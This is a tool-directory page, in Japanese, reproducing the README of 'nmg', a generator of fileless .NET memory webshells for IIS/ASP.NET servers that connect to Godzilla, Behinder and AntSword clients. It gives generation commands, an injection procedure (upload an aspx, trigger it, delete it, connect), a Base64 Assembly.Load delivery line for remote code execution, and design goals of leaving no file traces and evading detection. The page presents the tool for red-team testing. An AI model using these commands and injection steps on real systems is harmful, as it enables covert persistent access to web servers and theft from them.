Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
nmg — Godzilla、Behinder、AntSwordクライアントと互換性のあるパラメータ化された.NETメモリシェルペイロード(VPP、MVCルート、HttpListener)を生成し、レッドチームテストに使用します。 | Kitploit
ツール/GitHubGitHub/baguette168/nmg
防御ツールペイロード生成永続化メカニズムウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティペネトレーションテストレッドチーミングリモートアクセスツールシェルコード生成ペイロード開発
71713日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
baguette168/nmg

nmg

Godzilla、Behinder、AntSwordクライアントと互換性のあるパラメータ化された.NETメモリシェルペイロード(VPP、MVCルート、HttpListener)を生成し、レッドチームテストに使用します。

リポジトリを見る

NMG - .NET メモリシェルジェネレーター

.NET Tests License Platform

パラメーター化された .NET メモリシェルジェネレーター | レッドチーム / セキュリティテスト | .NET 向け JMG 相当

アーキテクチャ

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

NMGとは?

NMGは、ディスク上にファイルを残すことなくIIS/ASP.NETアプリケーションに注入される、パラメータ化された.NETメモリシェルペイロードを生成します。注入後は、既存のウェブシェルマネージャー(Godzilla / Behinder / AntSword)で接続します。NMGはサーバー側を機能させるだけです。

次のように考えてください:入力パラメータ -> コンパイル済みペイロード -> 注入 -> クライアントで接続

機能

メモリシェルの種類

種類対象.NET Frameworkトリガーポイント
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerスタンドアロン/SYSTEM2.0+HttpListener(IISから独立)

シェルプロトコル

プロトコルクライアント暗号化検証済み
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ エンドツーエンド
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] 生バイト)✅ エンドツーエンド
antswordAntSwordBase64✅ エンドツーエンド

出力形式

形式用途
aspx書き込み可能なディレクトリにアップロードし、一度アクセスして注入
b64デシリアライゼーション/式インジェクションによるRCE配信向け
dllカスタムローダー向けの生DLL

サブコマンド

コマンド目的
generateメモリシェルペイロードを生成
probe環境検出用aspxを生成(CLR/信頼レベル/MVC/VPPを報告)
versionバージョンを表示
help使用方法を表示

Web UI

Inset Darkテーマ(Linearスタイルのミニマリズム)を備えた組み込みWebインターフェース:

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

クイックスタート

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

インジェクション方法

方法 1 — ASPX インジェクター:

  1. 生成された .aspx ファイルをターゲット上の書き込み可能な任意のディレクトリにアップロードします
  2. ブラウザで一度アクセスします(Assembly.Load + VPP 登録がトリガーされます)
  3. aspx ファイルを削除します
  4. サイト上に既存の任意の .aspx/.ashx/.asmx に対して、お使いの webshell クライアントで接続します

方法 2 — Base64(RCE 配信): 任意のコード実行ポイントで実行します:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

生成された probe.aspx をアップロードし、一度アクセスします。以下の内容を含む JSON が返されます:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

メモリシェルの種類とプロトコルの決定に使用します。

設計原則

  1. ホストセーフ: すべての実行パスを try-catch でラップし、例外はすべてサイレントにリクエストを通過させる
  2. 冪等性: 繰り返し注入しても登録が積み重ならない
  3. ファイル残留なし: 注入後、Web ディレクトリに新規ファイルが残らない
  4. 決定論的: 同一パラメータ + 同一シード = バイト単位で同一の出力(NFR-5)
  5. ターゲット上での動的コンパイルなし: ペイロードは事前コンパイル済みで、ASP.xxx_aspx+ClassName の検出を回避する
  6. 二重登録: VPP は公式 API を優先し、IIS 統合モード向けに直接フィールド置換へフォールバックする

ビルド

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

プロジェクト構成

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

参考文献

  • BeichenDream/GodzillaMemoryShellProject.NET
  • yzddmr6 の ASP.NET メモリシェルシリーズ — filter、route、HttpListener、VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java メモリシェルジェネレーター

ライセンス

MIT

ツールをダウンロード